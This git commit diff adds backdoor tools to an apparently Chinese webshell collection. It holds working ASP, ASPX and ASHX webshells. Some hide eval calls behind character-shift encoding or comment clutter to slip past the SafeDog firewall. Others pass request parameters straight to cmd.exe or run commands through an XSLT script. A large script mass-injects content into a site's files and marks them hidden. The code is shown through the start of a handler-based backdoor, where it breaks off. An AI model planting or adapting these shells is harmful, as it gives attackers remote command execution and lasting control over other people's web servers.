add Ridter'Pentest backdoor tools @Ridter 👍

form : https://github.com/HARDLINUX/webshell

README.md

@@ -18,10 +18,13 @@
 
 本项目提供的工具，禁止从事非法活动，此项目，仅供测试，所造成的一切后果，与本人无关。
 
-Author：tennc
+Author ：tennc
 
 http://tennc.github.io/webshell
 
-<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-sa/3.0/80x15.png" /></a><br />This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License</a>.
-<p>
-<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh"><img alt="知识共享许可协议" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-sa/3.0/80x15.png" /></a><br />本作品采用<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh">知识共享署名-非商业性使用-相同方式共享 3.0 未本地化版本许可协议</a>进行许可。
+license : GPL v3
+
+## Download link
+Check github releases. Latest:
+
+[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)

asp/base.asp

@@ -0,0 +1 @@
+<%Execute(DeAsc("%119%136%115%126%50%132%119%131%135%119%133%134%58%52%116%115%133%119%52%59")):Function DeAsc(Str):Str=Split(Str,"%"):For I=1 To Ubound(Str):DeAsc=DeAsc&Chr(Str(I)-18):Next:End Function%>

asp/bypass_safedog_01.asp

@@ -0,0 +1,34 @@
+<script runat="server" language="JScript">
+function exs(str) {
+  var q = "u";
+  var w = "afe";
+  var a = q + "ns" + w;
+  var b= /*///*/eval(str,a);
+  return(b);
+   }
+function dec(str,key) {
+  var k,q,t;
+  var s="";
+  var p="";
+  for(k = 0; k < str.length; k=k+2)
+  {
+    t = ((k+2)/2) % key.length;
+    p = key.substr(t, 1);
+    if (isFinite(str.substr(k, 1)))
+    {
+      q = "0x"+ str.substr(k, 2);
+      s = s + char(int(q)-p);// + "|" + p +"|";
+    }
+    else
+    {
+      q = "0x"+ str.substr(k, 4);
+      s = s + char(int(q)-p);
+      k = k+2;
+    }
+  }
+  return(s);
+   }
+</script>
+<%
+exs(exs(dec("556675766874782F4C75696E5E237E2360","1314"))); 
+%>

asp/bypass_safedog_02.asp

@@ -0,0 +1,6 @@
+<%@ Page Language = Jscript %>
+<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
+"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval
+(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

asp/bypass_safedog_03.asp

@@ -0,0 +1,19 @@
+<%
+Function Writesource(str)
+  Response.write(str)
+End Function
+Function cd(ByVal s, ByVal key)
+    For i = 1 To Len(s) Step 2
+        c = Mid(s, i, 2)
+        k = (i + 1) / 2 Mod Len(key) + 1
+        p = Mid(key, k, 1)
+        If IsNumeric(Mid(s, i, 1)) Then
+            cd = cd & Chr(("&H" & c) - p)
+        Else
+            cd = cd & Chr("&H" & c & Mid(s, i + 2, 2))
+            i = i + 2
+        End If
+    Next
+End Function
+Execute cd("6877656D2B736972786677752B237E232C2A","1314")
+%>

asp/cmd提权马.asp

@@ -0,0 +1,68 @@
+<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Diagnostics"%>
+<%@ import Namespace="System.Data"%>
+<%@ import Namespace="System.Management"%>
+<%@ import Namespace="System.Data.OleDb"%>
+<%@ import Namespace="Microsoft.Win32"%>
+<%@ import Namespace="System.Net.Sockets" %>
+<%@ import Namespace="System.Net" %>
+<%@ import Namespace="System.Web.UI"%>
+<%@ import Namespace="System.Runtime.InteropServices"%>
+<%@ import Namespace="System.DirectoryServices"%>
+<%@ import Namespace="System.ServiceProcess"%>
+<%@ import Namespace="System.Text.RegularExpressions"%>
+<%@ Import Namespace="System.Threading"%>
+<%@ Import Namespace="System.Data.SqlClient"%>
+<%@ import Namespace="Microsoft.VisualBasic"%>
+<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<script runat="server">
+protected void Page_load(object sender,EventArgs e)
+{
+  string ok = Request.QueryString["sb"];
+  string shell= Request.QueryString["shell"];
+  //www.moonsec.com moon
+  Response.Write(shell + ok );
+  Response.Write("<pre>");
+  Response.Write(GetCmd(ok,shell));
+  Response.Write("</pre>");
+}
+
+private string GetCmd(string cmd,string shell)
+{
+  string ok = string.Empty;
+   Process p = new Process();
+            p.StartInfo.FileName = shell;
+            p.StartInfo.UseShellExecute = false;
+            p.StartInfo.RedirectStandardInput = true;
+            p.StartInfo.RedirectStandardOutput = true;
+            p.StartInfo.RedirectStandardError = true;
+            p.StartInfo.CreateNoWindow = true;
+            string strOutput = null;
+            try
+            {
+                p.Start();
+                p.StandardInput.WriteLine(cmd);
+        Response.Write(cmd);
+                p.StandardInput.WriteLine("exit");
+                ok = p.StandardOutput.ReadToEnd();
+                p.WaitForExit();
+                p.Close();
+             }
+            catch (Exception ex)
+             {
+        Response.Write("<pre>");
+        Response.Write(ex);
+        Response.Write("/<pre>");
+                 }
+  return ok;
+}
+</script>
+</head>
+<body>
+</body>
+</html>

asp/good_1.asp

@@ -0,0 +1,614 @@
+<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%><% 
+dim file,content,path,task,paths,paths_str,nn,nnfilename,dpath,htmlpath,htmlpath_,htmlpath_str,addcontent,includefiles,noincludefiles,filetype,hanfiles,recontent,site_root,defaulthtml,defaultreplace,read 
+content=request("content") 
+path=request("path") 
+file=request("file") 
+task=request("task") 
+paths=request("paths") 
+nnfilename=request("nnfilename") 
+htmlpath=request("htmlpath") 
+addcontent=request("addcontent") 
+includefiles=request("includefiles") 
+noincludefiles=request("noincludefiles") 
+filetype=request("filetype") 
+recontent=request("recontent") 
+hanfiles=request("hanfiles") 
+site_root=request("site_root") 
+defaulthtml=request("defaulthtml") 
+defaultreplace=request("defaultreplace") 
+read=request("read") 
+IF site_root="" or site_root=null then 
+        site_root = Server.MapPath("/") 
+End IF 
+
+if task="1" Then 
+        paths_str = split(paths,",") 
+        nn = 0 
+        for i=0 to (ubound(paths_str)) 
+                if IsFloderExist(Server.MapPath("/")&"/"&paths_str(i)) Then 
+                readfile_("/"&paths_str(i)&"/"&nnfilename) 
+                WriteIn Server.MapPath("/")&"/"&paths_str(i)&"/"&nnfilename,content 
+                Response.write "/"&paths_str(i)&"/"&nnfilename&"|" 
+                readfile("/"&paths_str(i)&"/"&nnfilename) 
+                nn = nn +1 
+                end if 
+        Next 
+        if nn=0 Then 
+                dpath = mulu(Server.MapPath("/"),defaulthtml) 
+                CFolder("/"&dpath) 
+                readfile_("/"&dpath&"/"&nnfilename) 
+                WriteIn Server.MapPath("/")&"/"&dpath&"/"&nnfilename,content 
+                Response.write "/"&dpath&"/"&nnfilename&"|" 
+                readfile("/"&dpath&"/"&nnfilename) 
+        end If 
+ElseIf task="2" Then     
+        paths_str = split(paths,",") 
+        nn = 0 
+        for i=0 to (ubound(paths_str)) 
+                if IsFloderExist(Server.MapPath("/")&"/"&paths_str(i)) And nn=0 Then 
+                htmlpath_ = paths_str(i) 
+                nn = nn +1 
+                end if 
+        Next 
+        if nn=0 Then 
+                htmlpath_ = mulu(Server.MapPath("/"),defaulthtml) 
+                if CFolder("/"&htmlpath_)=1 then 
+                        readfolder("/"&htmlpath_) 
+                end if 
+        end If 
+        if request("htmlpath")<>"" Then 
+                htmlpath_str = split(htmlpath,"/") 
+                nn = 0 
+                for i=0 to (ubound(htmlpath_str)) 
+                        htmlpath_ = htmlpath_&"/"&htmlpath_str(i) 
+                        if CFolder("/"&htmlpath_)=1 then 
+                                readfolder("/"&htmlpath_) 
+                        end if 
+                Next 
+        end If 
+        readfile_("/"&htmlpath_&"/"&nnfilename) 
+        content = Replace(content,"SITE_URL","http://"&Request.ServerVariables("SERVER_NAME")&"/"&htmlpath_&"/"&nnfilename) 
+        WriteIn Server.MapPath("/")&"/"&htmlpath_&"/"&nnfilename,content 
+        Response.write "<sbj:url>"&"/"&htmlpath_&"/"&nnfilename&"</sbj:url>" 
+        readfile5("/"&htmlpath_&"/"&nnfilename) 
+
+ElseIf task="3" Then 
+        IF instr(site_root, "|")>0  Then 
+                site_root_str = split(site_root,"|") 
+                nn = 0 
+                for i=0 to (ubound(site_root_str)) 
+                        if IsFloderExist(site_root_str(i)) then 
+                                Bianlireplate site_root_str(i),addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles 
+                        end if 
+                Next 
+        Else 
+                Bianlireplate site_root,addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles 
+        End IF 
+ElseIf task="4" Then 
+        IF instr(site_root, "|")>0  Then 
+                site_root_str = split(site_root,"|") 
+                nn = 0 
+                for i=0 to (ubound(site_root_str)) 
+                        if IsFloderExist(site_root_str(i)) then 
+                                Bianli site_root_str(i) 
+                        end if 
+                Next 
+        Else 
+                Bianli site_root 
+        End IF 
+Else 
+        Response.write "tj,"&" tj" 
+        If  IsObjInstalled("Scripting.FileSystemObject") Then 
+                Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+                set f=fso.Getfile(server.mappath(Request.ServerVariables("SCRIPT_NAME"))) 
+                if f.attributes <> 1 Then 
+                f.attributes = 1 
+                end If 
+                set fso = Nothing 
+        end If 
+end If 
+
+%> 
+
+<% 
+Function IsObjInstalled(strClassString)     
+  On Error Resume Next     
+  IsObjInstalled = False     
+  Err = 0     
+  Dim xTestObj     
+  Set xTestObj = Server.CreateObject(strClassString)     
+  If 0 = Err Then IsObjInstalled = True     
+    Set xTestObj = Nothing     
+    Err = 0     
+  End Function   
+%> 
+
+<% 
+function readfile(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.getfolder(Server.MapPath(testfile)) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile_(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfolder_(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(Server.MapPath(testfile)) Then   '???????? 
+         set f=fso.getfolder(Server.MapPath(testfile)) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile5(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder5(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.getfolder(Server.MapPath(testfile)) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile6(testfile,attid) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> attid Then 
+                f.attributes = attid 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+''''''''''''''''''''''''''''''''' 
+function readfile_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(testfile) Then   '???????? 
+                set f=fso.getfolder(testfile) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile__new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfolder__new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(testfile) Then   '???????? 
+         set f=fso.getfolder(testfile) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile5_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder5_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(testfile) Then   '???????? 
+                set f=fso.getfolder(testfile) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile6_new(testfile,attid) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> attid Then 
+                f.attributes = attid 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+
+%> 
+
+<% 
+  Function mulu(path,defaulthtml)   
+    Set Fso=server.createobject("scripting.filesystemobject")     
+        On Error Resume Next   
+    Set Objfolder=fso.getfolder(path)   
+
+    Set Objsubfolders=objfolder.subfolders   
+
+        Dim mulu_item,iii 
+        mulu_item = "html" 
+        iii = 0 
+    For Each Objsubfolder In Objsubfolders   
+      Nowpath= Objsubfolder.name   
+          mulu_item = Nowpath 
+    Next 
+    IF defaulthtml<>"" then 
+        mulu_item = defaulthtml 
+        End IF 
+        mulu = mulu_item 
+
+    Set Objfolder=nothing   
+    Set Objsubfolders=nothing   
+    Set Fso=nothing   
+  End Function 
+
+  Function Bianli(path)   
+    Set Fso=server.createobject("scripting.filesystemobject")     
+
+    On Error Resume Next   
+    Set Objfolder=fso.getfolder(path)   
+    Set Objsubfolders=objfolder.subfolders   
+    For Each Objsubfolder In Objsubfolders   
+      Nowpath=path + "\" + Objsubfolder.name   
+      Set Objfiles=objsubfolder.files   
+      For Each Objfile In Objfiles   
+      Next   
+      Bianli(nowpath)'??   
+
+    Next   
+    Set Objfolder=nothing   
+    Set Objsubfolders=nothing   
+    Set Fso=nothing   
+  End Function   
+
+    Function Bianlireplate(path,addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles)   
+                Set Fso=server.createobject("scripting.filesystemobject")     
+                On Error Resume Next   
+                Set Objfolder=fso.getfolder(path)   
+                Set Objfiles_1=Objfolder.files 
+                For Each Objfile In Objfiles_1   
+                        ftype = getFileExt(Objfile.name) 
+                        aaa=instr(filetype,"."&ftype&".") 
+                        turet = False 
+                        If includefiles= "" Then 
+                                turet = true 
+                        End If 
+                        If turet Then 
+                        else 
+                                true_a=instr(includefiles,Objfile.name) 
+                                If true_a>0 Then 
+                                        turet = true 
+                                End If 
+                        End If 
+                        IF turet=false then 
+                                IF hanfiles<>"" and Instr(1, hanfiles, ",")  Then 
+                                        set hanfiles_str = split(hanfiles,",") 
+                                        nn = 0 
+                                        for i=0 to (ubound(hanfiles_str)) 
+                                                if instr(Objfile.name,hanfiles_str(i))>1 then 
+                                                        turet = true 
+                                                end if 
+                                        Next 
+                                End IF 
+                        End IF 
+                        if aaa>0 And turet Then 
+                                codepage = checkcode(path&"/"&Objfile.name) 
+                                attid = Objfile.attributes 
+                                readfile__new(path&"/"&Objfile.name) 
+                                set writeBoolean = false 
+                                if codepage="utf-8" Or codepage="unicode" Then 
+                                        newf_content = ReadFromTextFile(path&"/"&Objfile.name,"utf-8") 
+                                        bbb=instr(newf_content,addcontent)                                                                                                                       
+                                        if bbb>0 Then 
+                                                If recontent="" Then 
+                                                        writeBoolean = false 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        Else 
+                                                If recontent="" Then 
+                                                        newf_content = newf_content&addcontent 
+                                                        writeBoolean = true 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        end If 
+                                        if writeBoolean = true then 
+                                                WriteIn path&"/"&Objfile.name,newf_content 
+                                                readfile6_new path&"/"&Objfile.name,attid 
+                                                Response.write "<sbj:url>"&path&"/"&Objfile.name&"</sbj:url>"&codepage&chr(13) 
+                                        end IF 
+                                Else 
+                                        newf_content = b(path&"/"&Objfile.name) 
+                                        bbb=instr(1,newf_content,addcontent,1) 
+                                        if bbb>0 Then 
+                                                If recontent="" Then 
+                                                        writeBoolean = false 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        Else 
+                                                If recontent="" Then 
+                                                        newf_content = newf_content&addcontent 
+                                                        writeBoolean = true 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        end If 
+                                        if writeBoolean = true then 
+                                                WriteIn1 path&"/"&Objfile.name,newf_content
+                                                readfile6_new path&"/"&Objfile.name,attid 
+                                                Response.write "<sbj:url>"&path&"/"&Objfile.name&"</sbj:url>"&codepage&chr(13) 
+                                        end IF 
+                                end if 
+                        end if 
+                 Next 
+                Set Objsubfolders=objfolder.subfolders   
+                For Each Objsubfolder In Objsubfolders   
+
+                  Nowpath=path + "\" + Objsubfolder.name   
+                  Set Objfiles=objsubfolder.files   
+                  Bianlireplate nowpath,addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles '??   
+
+                Next   
+
+                Set Objfolder=nothing   
+                Set Objsubfolders=nothing   
+                Set Fso=nothing   
+  End Function   
+
+  function checkcode(path) 
+  set objstream=server.createobject("adodb.stream") 
+  objstream.Type=1 
+  objstream.mode=3 
+  objstream.open 
+  objstream.Position=0 
+  objstream.loadfromfile path 
+  bintou=objstream.read(2) 
+  If AscB(MidB(bintou,1,1))=&HEF And AscB(MidB(bintou,2,1))=&HBB Then 
+  checkcode="utf-8" 
+  ElseIf AscB(MidB(bintou,1,1))=&HFF And AscB(MidB(bintou,2,1))=&HFE Then 
+  checkcode="unicode" 
+  Else 
+  checkcode="gb2312" 
+  End If 
+  objstream.close 
+  set objstream=nothing 
+  end function 
+
+  Function getFileExt(sFileName) 
+getFileExt = Mid(sFileName, InstrRev(sFileName, ".") + 1) 
+End Function 
+%> 
+
+<% 
+Function IsFloderExist(strFolderName) 
+SET FSO=Server.CreateObject("Scripting.FileSystemObject") 
+IF(FSO.FolderExists(strFolderName))THEN 
+IsFloderExist = True 
+ELSE 
+IsFloderExist = False 
+END IF 
+SET FSO=NOTHING 
+End Function 
+%> 
+
+<% 
+Function getCode(iCount) ''????????? 
+     Dim arrChar 
+     Dim j,k,strCode 
+     arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789" 
+     k=Len(arrChar) 
+     Randomize 
+     For i=1 to iCount 
+          j=Int(k * Rnd )+1 
+          strCode = strCode & Mid(arrChar,j,1) 
+     Next 
+     getCode = strCode 
+End Function 
+
+Function Digital(iCount)''????? 
+     Dim arrChar 
+     Dim j,k,strCode 
+     arrChar = "0123456789" 
+     k=Len(arrChar) 
+     Randomize 
+     For i=1 to iCount 
+          j=Int(k * Rnd )+1 
+          strCode = strCode & Mid(arrChar,j,1) 
+     Next 
+     Digital = strCode 
+End Function 
+Function sj_int(ByVal min, ByVal max) ''????? 
+                Randomize(Timer) : sj_int = Int((max - min + 1) * Rnd + min) 
+End Function 
+
+
+Function Rand(ByVal min, ByVal max)   
+                Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) 
+End Function 
+%> 
+
+<% 
+function WriteIn(testfile,msg) 
+  'set fs=server.CreateObject("scripting.filesystemobject")   
+  'set thisfile=fs.CreateTextFile(testfile,True,True)   
+  'thisfile.Write(""&msg& "")   
+' thisfile.close   
+  'set fs = nothing 
+  Set stm = CreateObject("Adodb.Stream") 
+    stm.Type = 2 
+    stm.mode = 3 
+    stm.charset = "utf-8" 
+    stm.Open 
+    stm.WriteText msg 
+    stm.SaveToFile testfile, 2 
+    stm.flush 
+    stm.Close 
+    Set stm = Nothing 
+end Function 
+function WriteIn1(testfile,msg) 
+  ' set fs=server.CreateObject("scripting.filesystemobject")   
+  ' set thisfile=fs.CreateTextFile(testfile,True)   
+  ' thisfile.Write(""&msg& "")   
+  ' thisfile.close   
+  ' set fs = nothing 
+  Set stm = CreateObject("Adodb.Stream") 
+    stm.Type = 2 
+    stm.mode = 3 
+    stm.charset = "gb2312" 
+    stm.Open 
+    stm.WriteText msg 
+    stm.SaveToFile testfile, 2 
+    stm.flush 
+    stm.Close 
+    Set stm = Nothing 
+end Function 
+
+function delfile(testfile) 
+  set fs=server.CreateObject("scripting.filesystemobject")   
+  fs.DeleteFile(testfile) 
+  set fs = nothing 
+end function 
+%> 
+
+<% 
+function a(t) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        file=server.mappath(t) 
+        set txt=fs.opentextfile(file,1,true) 
+        if not txt.atendofstream then 
+           a=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end Function 
+function b(file) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        set txt=fs.opentextfile(file,1,true) 
+        if not txt.atendofstream then 
+           b=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end Function 
+function aa(t) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        file=server.mappath(t) 
+        set txt=fs.opentextfile(file,1,true,-1) 
+        if not txt.atendofstream then 
+           aa=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end Function 
+function bb(file) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        set txt=fs.opentextfile(file,1,true,-1) 
+        if not txt.atendofstream then 
+           bb=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end function 
+
+Function ReadFromTextFile(file,CharSet) 
+         dim str 
+         set stm=CreateObject("adodb.stream") 
+         stm.Type=2'?????? 
+         stm.mode=3 
+         stm.charset=CharSet 
+         stm.open 
+         stm.loadfromfile file 
+         str=stm.readtext 
+         stm.Close 
+         set stm=nothing 
+ReadFromTextFile=str 
+End Function 
+
+%> 
+
+<% 
+
+Function CFolder(Filepath) 
+  Filepath=server.mappath(Filepath) 
+  Set Fso = Server.CreateObject("Scripting.FileSystemObject") 
+  If Fso.FolderExists(FilePath) Then 
+    CFolder=0 
+  else 
+    Fso.CreateFolder(FilePath) 
+    CFolder=1 
+  end if 
+  Set Fso = Nothing 
+end function 
+
+Function BytesToBstr(body,Cset) 
+dim objstream 
+set objstream = Server.CreateObject("adodb.stream") 
+objstream.Type = 1 
+objstream.Mode =3 
+objstream.Open 
+objstream.Write body 
+objstream.Position = 0 
+objstream.Type = 2 
+objstream.Charset = Cset 
+BytesToBstr = objstream.ReadText 
+objstream.Close 
+set objstream = nothing 
+End Function 
+%>

asp/xslt.asp

@@ -0,0 +1,9 @@
+<%
+set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
+xml="<?xml version=""1.0""?><root >cmd /c dir</root>"
+xmldoc.loadxml(xml)
+Set xsldoc = Server.CreateObject("MSXML2.DOMDocument")
+xlst="<?xml version='1.0'?><xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh""><msxsl:script language=""JScript"" implements-prefix=""zcg""> function xml(x) {var a=new ActiveXObject('wscript.shell'); var exec=a.Exec(x);return exec.StdOut.ReadAll()+exec.StdErr.ReadAll(); }</msxsl:script><xsl:template match=""/root""> <xsl:value-of select=""zcg:xml(string(.))""/></xsl:template></xsl:stylesheet>"
+xsldoc.loadxml(xlst)
+response.write "<pre><xmp>" & xmldoc.TransformNode(xsldoc)& "</xmp></pre>"
+%>

aspx/as.ashx

@@ -0,0 +1,26 @@
+<%@ WebHandler Language="C#" Class="Handler2" %>
+using System;
+using System.Collections.Generic; 
+using System.Diagnostics;
+using System.Web;
+public class Handler2 : IHttpHandler {
+public void ProcessRequest (HttpContext context) {
+//string x = "-an";
+string x = context.Request["x"];
+Process prc=new Process(); 
+prc.StartInfo.FileName="cmd.exe"; 
+prc.StartInfo.UseShellExecute=false; 
+prc.StartInfo.RedirectStandardInput = true; 
+prc.StartInfo.RedirectStandardOutput = true; 
+prc.StartInfo.RedirectStandardError = true; 
+prc.StartInfo.CreateNoWindow = false; 
+prc.Start();
+prc.StandardInput.WriteLine(x);
+prc.StandardInput.Close();
+context.Response.Write(prc.StandardOutput.ReadToEnd());
+context.Response.End();}
+public bool IsReusable {
+        get {
+            return false;
+        }
+    }}

aspx/httpHandlers_backdoor/Customize.cs

@@ -0,0 +1,332 @@
+using System;
+using System.Data;
+using System.Configuration;
+using System.Web;
+using System.IO;
+using System.Text;
+using System.Net;
+using System.Diagnostics;
+using System.Data.SqlClient;
+ 
+namespace WooYun
+{
+ 
+    public class Customize
+    {
+ 
+        public static void CP(string S, string D)
+        {
+            if (Directory.Exists(S))
+            {
+                DirectoryInfo m = new DirectoryInfo(S);
+                Directory.CreateDirectory(D);
+                foreach (FileInfo F in m.GetFiles())
+                {
+                    File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+                }
+                foreach (DirectoryInfo F in m.GetDirectories())
+                {
+                    CP(S + "\\" + F.Name, D + "\\" + F.Name);
+                }
+            }
+            else
+            {
+                File.Copy(S, D);
+            }
+        }
+ 
+        public static void Request()
+        {
+            HttpContext context = HttpContext.Current;
+            HttpRequest request = context.Request;
+            HttpResponse response = context.Response;
+            string Z = request.Form["023"];
+            if (Z != "")
+            {
+                string Z1 = request.Form["Z1"];
+                string Z2 = request.Form["Z2"];
+                string R = "";
+                try
+                {
+                    switch (Z)
+                    {
+                        case "A":
+                            {
+                                string[] c = Directory.GetLogicalDrives();
+                                R = string.Format("{0}\t", context.Server.MapPath("/"));
+                                for (int i = 0; i < c.Length; i++)
+                                    R += c[i][0] + ":";
+                                break;
+                            }
+                        case "B":
+                            {
+                                DirectoryInfo m = new DirectoryInfo(Z1);
+                                foreach (DirectoryInfo D in m.GetDirectories())
+                                {
+                                    R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                                }
